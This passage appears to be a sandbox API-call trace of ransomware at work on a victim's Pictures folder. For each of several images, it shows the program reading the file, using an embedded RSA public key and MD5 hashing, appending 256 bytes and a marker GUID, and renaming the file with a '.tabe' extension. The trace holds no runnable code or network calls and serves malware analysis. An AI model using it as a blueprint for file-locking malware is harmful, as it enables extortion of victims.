ftLastAccessTime.dwHighDateTime=0x1d5e0cb, ftLastWriteTime.dwLowDateTime=0x1d018740, ftLastWriteTime.dwHighDateTime=0x1d5e0cb, nFileSizeHigh=0x0, nFileSizeLow=0x1965, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="PX2 RzTAg.jpg", cAlternateFileName="PX2RZT~1.JPG")) returned 1 [0126.625] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PX2 RzTAg.jpg") returned=".jpg" [0126.625] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PX2 RzTAg.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\px2 rztag.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.626] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=6501) returned 1 [0126.626] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.627] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x193f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.627] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.628] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1965, lpOverlapped=0x0) returned 1 [0126.629] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.629] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.629] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.629] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.629] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.629] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.629] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.629] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.630] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.630] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.630] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.630] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.630] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.630] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.630] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1965, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.630] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.630] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.630] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.630] CloseHandle (hObject=0x618) returned 1 [0126.631] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PX2 RzTAg.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\px2 rztag.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\PX2 RzTAg.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\px2 rztag.jpg.tabe")) returned 1 [0126.632] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1131d280, ftCreationTime.dwHighDateTime=0x1d5e68e, ftLastAccessTime.dwLowDateTime=0x50259fb0, ftLastAccessTime.dwHighDateTime=0x1d5de84, ftLastWriteTime.dwLowDateTime=0x50259fb0, ftLastWriteTime.dwHighDateTime=0x1d5de84, nFileSizeHigh=0x0, nFileSizeLow=0xd9a9, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="p_Qq4nGXh6.gif", cAlternateFileName="P_QQ4N~1.GIF")) returned 1 [0126.632] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\p_Qq4nGXh6.gif") returned=".gif" [0126.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\p_Qq4nGXh6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p_qq4ngxh6.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.632] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=55721) returned 1 [0126.632] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.633] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd983, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.633] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.635] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd9a9, lpOverlapped=0x0) returned 1 [0126.636] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.636] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.636] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.636] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.637] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.637] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.637] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.637] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.637] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.637] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.637] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.637] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.637] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.637] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.638] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd9a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.638] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.638] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.638] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.638] CloseHandle (hObject=0x618) returned 1 [0126.639] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\p_Qq4nGXh6.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p_qq4ngxh6.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\p_Qq4nGXh6.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p_qq4ngxh6.gif.tabe")) returned 1 [0126.640] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b01510, ftCreationTime.dwHighDateTime=0x1d5e30c, ftLastAccessTime.dwLowDateTime=0xcc2a3340, ftLastAccessTime.dwHighDateTime=0x1d5d926, ftLastWriteTime.dwLowDateTime=0xcc2a3340, ftLastWriteTime.dwHighDateTime=0x1d5d926, nFileSizeHigh=0x0, nFileSizeLow=0xb6c4, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qioZMu3P.jpg", cAlternateFileName="")) returned 1 [0126.640] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qioZMu3P.jpg") returned=".jpg" [0126.640] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qioZMu3P.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qiozmu3p.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.640] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=46788) returned 1 [0126.640] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.641] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb69e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.641] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.643] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xb6c4, lpOverlapped=0x0) returned 1 [0126.643] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.643] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.643] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.643] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.644] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.644] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.644] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.644] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.644] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.644] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.644] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.644] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.644] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.645] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.645] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xb6c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.645] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.645] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.645] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.645] CloseHandle (hObject=0x618) returned 1 [0126.646] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qioZMu3P.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qiozmu3p.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qioZMu3P.jpg.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qiozmu3p.jpg.tabe")) returned 1 [0126.647] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96c5ffa0, ftCreationTime.dwHighDateTime=0x1d5df6f, ftLastAccessTime.dwLowDateTime=0x513599c0, ftLastAccessTime.dwHighDateTime=0x1d5da4a, ftLastWriteTime.dwLowDateTime=0x513599c0, ftLastWriteTime.dwHighDateTime=0x1d5da4a, nFileSizeHigh=0x0, nFileSizeLow=0x18a19, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="qQdjXCNPUMlvX4GrMP.jpg", cAlternateFileName="QQDJXC~1.JPG")) returned 1 [0126.647] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qQdjXCNPUMlvX4GrMP.jpg") returned=".jpg" [0126.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\qQdjXCNPUMlvX4GrMP.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\qqdjxcnpumlvx4grmp.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.648] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=100889) returned 1 [0126.648] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.649] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x189f3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.649] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.651] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x18a19, lpOverlapped=0x0) returned 1 [0126.652] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.652] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.652] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.652] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.652] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.652] CryptHashData (hHash=0x3463888, pbData=0x3ae70a8, dwDataLen=0x1f3, 